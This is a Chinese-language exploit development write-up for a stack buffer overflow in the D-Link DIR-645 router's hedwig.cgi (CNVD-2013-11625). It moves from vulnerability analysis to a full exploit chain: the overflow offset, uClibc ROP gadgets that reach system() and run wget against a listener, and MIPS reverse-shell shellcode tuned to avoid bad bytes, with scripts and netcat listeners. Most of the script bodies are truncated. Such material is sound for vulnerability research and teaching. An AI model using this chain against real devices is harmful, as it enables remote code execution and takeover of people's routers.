D-Link DIR-645 CNVD-2013-11625 漏洞分析
D-Link DIR-645 hedwig.cgi 组件 CNVD-2013-11625 漏洞分析。
漏洞信息
漏洞编号:CNVD-2013-11625
漏洞类型:栈溢出
漏洞组件:
- /htdocs/web/hedwig.cgi
- /htdocs/web/authentication.cgi
- /htdocs/web/post_login.xml
影响范围:
- D-Link DIR-645 <= A1 1.03B11
漏洞复现
基于 D-Link DIR-645 A1 1.03B11 版本进行漏洞复现。
连接仿真路由器 Shell 会话,关闭系统地址随机化,确保测试脚本中的 libc.so 文件基地址不变。
1 | ------------------------------ |
编写测试脚本,在路由器中执行 wget 命令。
1 | #!/usr/bin/python3 |
运行 NetCat 监听指定端口,接收路由器发送的 HTTP 请求。
1 | nc -lvvp 8000 |
漏洞分析
查看 hedwig.cgi 文件信息可知,该文件是一个软链接,实际指向 /htdocs/cgibin 文件。
1 | ls -l ./htdocs/web/hedwig.cgi |
使用 IDA 分析 /htdocs/cgibin 文件,通过字符串检索,在 main() 函数中定位到路由代码。
1 | if ( !strcmp(filename, "hedwig.cgi") ) |
根据漏洞描述,问题出现在 HTTP Cookie 处理的过程中。
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
通过字符串检索,在 sess_get_uid() 函数中定位到 HTTP_COOKIE 字符串的调用。
1 | cookie_key = (int)sobj_new(); |
分析代码可知,sess_get_uid() 函数从 Cookie 中提取 uid 字段的值,存放在参数 a1 指向的内存空间。
1 | v6 = 0; |
查看 sess_get_uid() 函数的引用情况,在 hedwigcgi_main() 函数中发现漏洞位置。
1 | char xml_path[1024]; // [sp+C0h] [-400h] BYREF |
从 Cookie 中取得的 uid 被直接拼接到 xml_path 字符串中,并未进行任何长度或者越界检查。由于 uid 的值和长度均可通过 HTTP 请求控制,因此存在栈溢出漏洞。
漏洞利用
调试进程
连接仿真路由器 Shell 会话,查找 httpd 进程,并关闭系统地址随机化保护。
1 | ------------------------------ |
运行 gdbserver 附加 httpd 进程。
1 | ------------------------------ |
运行 gdb-multiarch 连接路由器的调试端口,等待 CGI 请求。
1 | set architecture mips |
发送 CGI 请求,调试器中断在 hedwigcgi_main() 函数起始位置。
1 | ► 0x40c010 <hedwigcgi_main> lui $gp, 0x44 |
控制返回
查看 hedwigcgi_main() 函数的结尾代码,确定 $ra 寄存器的值保存在 var_s24 中。
1 | .text:0040C5B8 loc_40C5B8: # CODE XREF: hedwigcgi_main:loc_40C59C↑j |
根据 hedwigcgi_main() 函数的栈空间布局可知,数组 xml_path 的起始地址距离 var_s24 的偏移为 0x424 字节。
1 | -00000400 xml_path: .byte 1024 dup(?) |
因为拼接后的 xml_path 以 /runtime/session/ 开头,所以实际需要填充 0x413 字节用于覆盖 $pc 寄存器。
编写测试脚本,用于覆盖 $pc 寄存器。
1 | #!/usr/bin/python3 |
可以看到 $pc 寄存器被覆盖为指定的内容。
1 | *S0 0x41414141 ('AAAA') |
执行命令
通过调用 libc 库中的 system 函数,可以实现执行任意命令的功能。
查看 cgibin 文件的保护情况。
1 | checksec htdocs/cgibin |
查看 libuClibc-0.9.30.1.so 文件的保护情况。
1 | checksec lib/libuClibc-0.9.30.1.so |
虽然 libuClibc-0.9.30.1.so 文件开启了 PIE 保护机制,但是仿真环境已经关闭系统地址随机化机制,所以可以忽略处理。
在调试器中查看 cgibin 进程的内存布局,其中 libuClibc-0.9.30.1.so 模块的加载基址为 0x77F34000。
1 | vmmap |
使用 ROPgadget 在 libuClibc-0.9.30.1.so 中查找合适的利用代码。
1 | ROPgadget --binary libuClibc-0.9.30.1.so | grep "move \$t9, \$s0 ; jalr \$t9 ;" |
将准备执行的命令写入 $sp + 0x10 指向的地址,而 system 函数地址则存放在 $s0 寄存器中,这样便可以调用 system 函数执行指定的命令。
在 libuClibc-0.9.30.1.so 中查找 system() 函数的地址。
1 | .text:00053200 .globl system # weak |
由于 system() 函数的地址为 0x00053200,包含字符串截断符 0x00,所以需要采用间接的方式进行调用。
在 MIPS 架构中,指令执行采用流水线机制,即在跳转指令执行后,其下一条指令也会执行。因此,通过利用地址加减法的方式,可以避免地址中截断符的影响。
通过将利用脚本中 system 函数的地址减 1,再利用 ROP 指令加 1 的方式,就可以避免 payload 中 \x00 截断符的影响。
查找 libuClibc-0.9.30.1.so 中合适的 ROP 指令。
1 | ROPgadget --binary libuClibc-0.9.30.1.so | grep "jalr \$t9 ; addiu \$s0" |
编写测试脚本,执行系统命令。由于 requests 库不支持发送 bytes 类型数据,因此更换为 http.client 库进行发送。
1 | #!/usr/bin/python3 |
运行 NetCat 监听指定端口,接收路由器发送的 HTTP 请求。
1 | nc -lvvp 8000 |
执行代码
通过将目标代码写入栈中内存,然后跳转到栈上执行的方式,可以实现执行任意代码的功能。
通过之前的 gadget 代码,可以控制程序跳转到栈中地址。
1 | 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 |
将目标代码写入 $sp + 0x10 指向的内存空间,依次经过 0x000159CC 和 0x000158C8 地址指令的执行,最终可以跳转到栈中执行目标代码。
编写测试脚本,控制程序跳转到栈中执行。
1 | #!/usr/bin/python3 |
可以看到 $pc 寄存器指向了栈空间地址,并提示此处为无效指令。
1 | *S0 0x77f498c9 ◂— j 0x740a8320 |
编写实现交互 Shell 的代码。
1 | int main() |
转换为 mips32 架构的汇编代码。
1 | ; int s = socket(2, 2, 0); |
为了防止汇编代码对应的十六进制数据存在 \x00 字节,所以对代码进行优化。
1 | ; int s = socket(2, 2, 0); |
由于 lui $t1, 0x6E69 对应的十六进制数据 \x69\x6e\x09\x3c 中的 \x09 字节会被程序替换为 \x20 字节,因此改用 $t6 寄存器。
通过 Online Assembler and Disassembler 网站将汇编代码转换为十六进制数据。
1 | # int s = socket(2, 2, 0); |
编写测试脚本,执行目标代码。
1 | #!/usr/bin/python3 |
运行 NetCat 监听端口,接收路由器 Shell 会话。
1 | nc -lvvp 8000 |
参考链接
D-Link DIR-645 Buffer Overflow / Cross Site Scripting ≈ Packet Storm